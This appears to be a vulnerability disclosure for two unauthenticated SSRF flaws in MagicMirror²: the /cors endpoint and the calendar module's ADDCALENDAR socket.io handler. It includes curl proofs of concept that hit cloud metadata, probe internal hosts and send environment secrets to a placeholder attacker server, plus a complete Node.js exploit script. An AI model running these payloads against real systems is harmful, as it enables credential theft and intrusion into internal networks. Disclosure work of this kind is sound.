Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VARNAME), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/serverfunctions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any VARIABLENAME pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url> → replaceSecretPlaceholder(url) // expands ENVVAR → process.env.ENVVAR → fetch(url) // no validation, no blocklist → response returned to attacker // full body, status, headers

Key issues: - No authentication required - No URL validation or blocklist for private/reserved IP ranges - No restriction on URL scheme or destination - Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF — access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/" curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=SECRETAPIKEY"

The server expands SECRETAPIKEY to the value of process.env.SECRETAPIKEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account - Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker - Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable - Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability

Vulnerability — SSRF via ADDCALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/nodehelper.js of MagicMirror², socket.io namespace /calendar.

---

Identification

| Field | Value | |-------|-------| | PoC file | exploit-ssrf-calendar.js | | Endpoint | socket.io namespace /calendar, notification ADDCALENDAR | | Precondition | reach the mirror's HTTP port (no authentication required) |

---

Description

The ADDCALENDAR handler in calendar/nodehelper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAREVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).

---

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

js const io = new Server(server, { cors: { origin: /.$/, credentials: true } });

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

---

Exploit (exploit-ssrf-calendar.js)

js const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNALURL = process.argv[2] || process.env.SSRFURL || "https://webhook.site/";

const socket = io(${TARGET}/calendar, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => { if (event === "CALENDAREVENTS") { console.log("\n[+] CALENDAREVENTS received from server (SSRF response exfiltrated):"); for (const ev of payload.events || []) { console.log(" SUMMARY:", ev.title); if (ev.title && ev.title.includes("FLAG{")) { console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:"); console.log(" " + ev.title); process.exit(0); } } } else if (event === "CALENDARERROR") { console.log("[-] CALENDARERROR:", JSON.stringify(payload)); } });

socket.on("connect", () => { console.log([] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}); console.log([] Forcing server-side fetch of internal target: ${INTERNALURL}); socket.emit("ADDCALENDAR", { url: INTERNALURL, fetchInterval: 60000, excludedEvents: [], maximumEntries: 10, maximumNumberOfDays: 3650, auth: { method: "bearer", pass: "internal-admin-token" }, broadcastPastEvents: true, selfSignedCert: true, id: "pwn" }); });

socket.on("connecterror", (e) => console.log("[-] connecterror:", e.message));

setTimeout(() => { console.log("\n[] timeout, exiting"); process.exit(1); }, 20000);

---

Vulnerable target code (pattern)

js socketNotificationReceived(notification, payload) { if (notification === "ADDCALENDAR") { const fetcher = new CalendarFetcher( payload.url, payload.fetchInterval, payload.excludedEvents, payload.maximumEntries, payload.maximumNumberOfDays, payload.auth, payload.broadcastPastEvents, payload.selfSignedCert ); fetcher.fetchCalendar(); } }

---

Impact

- Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target. - TLS bypass via selfSignedCert: true. - Internal port scanning through error/timing differences.

---